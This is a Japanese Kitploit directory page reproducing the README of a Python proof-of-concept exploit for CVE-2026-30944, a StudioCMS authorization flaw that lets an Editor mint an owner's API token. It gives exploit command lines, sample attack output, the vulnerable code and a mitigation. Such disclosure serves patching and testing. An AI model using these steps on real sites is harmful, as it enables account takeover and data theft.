Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-30944-PoC — Python製のCVE-2026-30944の概念実証コード。StudioCMSのBOLA脆弱性を悪用し、安全でないAPIトークン生成を介して権限を昇格させます。 | Kitploit
ツール/GitHubGitHub/filipegaudard/cve-2026-30944-poc
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティペネトレーションテスト
GitHubfilipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

Python製のCVE-2026-30944の概念実証コード。StudioCMSのBOLA脆弱性を悪用し、安全でないAPIトークン生成を介して権限を昇格させます。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔓 CVE-2026-30944

StudioCMS の安全でない API トークン生成による権限昇格

CVE CVSS CWE Type

NVD • Advisory • CWE-639


概要

StudioCMS ≤ 0.3.0 の POST /studiocms_api/dashboard/api-tokens エンドポイントは、認証済みユーザー(最低でも Editor ロール)が 他の任意のユーザー(owner や admin アカウントを含む)の API トークンを生成することを許可します。

このエンドポイントは、リクエストボディ内の user パラメータで対象ユーザーの UUID を指定しますが、リクエストを行ったユーザーがその対象ユーザーの代わりにトークンを作成する権限を持っているかどうかを 一切検証しません。これは典型的な Broken Object Level Authorization(BOLA) 脆弱性であり、完全な権限昇格につながります。

攻撃フロー

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attacker   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Full user data as Owner]         │
       │                                           │

脆弱性の詳細


内容物

ファイル説明
cve_2026_30944_poc.py手動モードと自動モードを備えた Python エクスプロイトスクリプト
README.mdこのファイル
LICENSEMIT ライセンス

前提条件

  • StudioCMS ≤ 0.3.0(脆弱なバージョン)
  • Python 3.8+
  • 少なくとも Editor アカウントの有効な認証情報
root@kitploit:~
pip install requests colorama

クイックスタート

手動エクスプロイト

root@kitploit:~
# エディターアカウントを使用して owner の API トークンを生成
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 結果を JSON に保存
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

自動テスト

root@kitploit:~
# 複数のロールでテストして脆弱性を確認
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

引数

必須

引数説明
-u, --url対象の StudioCMS ベース URL
--uuid対象ユーザーの UUID(例: owner アカウント)

手動モード

引数説明
--username認証用のユーザー名
--password認証用のパスワード

自動テストモード

オプション

引数説明
--save結果を JSON ファイルに保存
--no-ssl-verifySSL 証明書の検証を無効化

出力例

脆弱なシステム

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [+] API token generated successfully!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verification
  ──────────────────────────────────────────────────────────
  [*] Verifying token access on REST API...
  [+] VULNERABILITY CONFIRMED — Full API access achieved!
  [*] Retrieved 9 user records

修正済みシステム

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Exploitation failed — token not generated

根本原因

脆弱なハンドラーは packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(16〜57 行目)にあり、JSON ボディから user パラメータを受け取り、認可チェックなしでトークン生成関数に直接渡します:

root@kitploit:~
// [1] 呼び出し元が editor かどうかのみチェック — 誰のためにトークンを作成しているかはチェックしない
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] リクエストボディの 'user' — 認証済みセッションとの検証なし
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] トークン生成に直接渡される — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

認可モデルは 「呼び出し元は少なくとも editor か?」 のみを検証し、「呼び出し元はこの特定のユーザーのトークンを作成する権限があるか?」 を検証しません。


影響

  • 権限昇格 — 任意のエディターが owner レベルの API アクセスに昇格可能
  • 完全な API アクセス — 生成されたトークンはすべての REST エンドポイントへの無制限アクセスを許可
  • アカウント乗っ取り — 攻撃者は UUID を指定することで任意のユーザーになりすますことが可能
  • データ漏洩 — ユーザー一覧、コンテンツ、システム設定へのアクセス

緩和策

StudioCMS をバージョン 0.4.0 以降に更新してください:

root@kitploit:~
npm install studiocms@latest

法的免責事項

このツールは教育目的および許可されたセキュリティテスト専用に提供されています。

  • 所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください
  • コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です
  • 著者はこのツールの誤用について一切の責任を負いません
  • 常に責任ある開示の慣行に従ってください

参考情報

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — ユーザー制御キーによる認可バイパス
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1134 — アクセストークン操作

著者

Filipe Gaudard


ライセンス

この PoC は教育目的で MIT ライセンス の下で公開されています。責任を持って倫理的に使用してください。

ツールをダウンロード
フィールド値
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8(高) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: ユーザー制御キーによる認可バイパス
CWE(副次)CWE-863: 不正確な認可
MITRE ATT&CKT1134 — アクセストークン操作
OWASP APIAPI1:2023 — Broken Object Level Authorization
影響を受けるバージョンstudiocms ≤ 0.3.0
修正バージョンstudiocms 0.4.0
引数説明
--auto-test自動マルチロールテストを有効化
--editor-userエディターアカウントのユーザー名
--editor-passエディターアカウントのパスワード
--visitor-userビジターアカウントのユーザー名
--visitor-passビジターアカウントのパスワード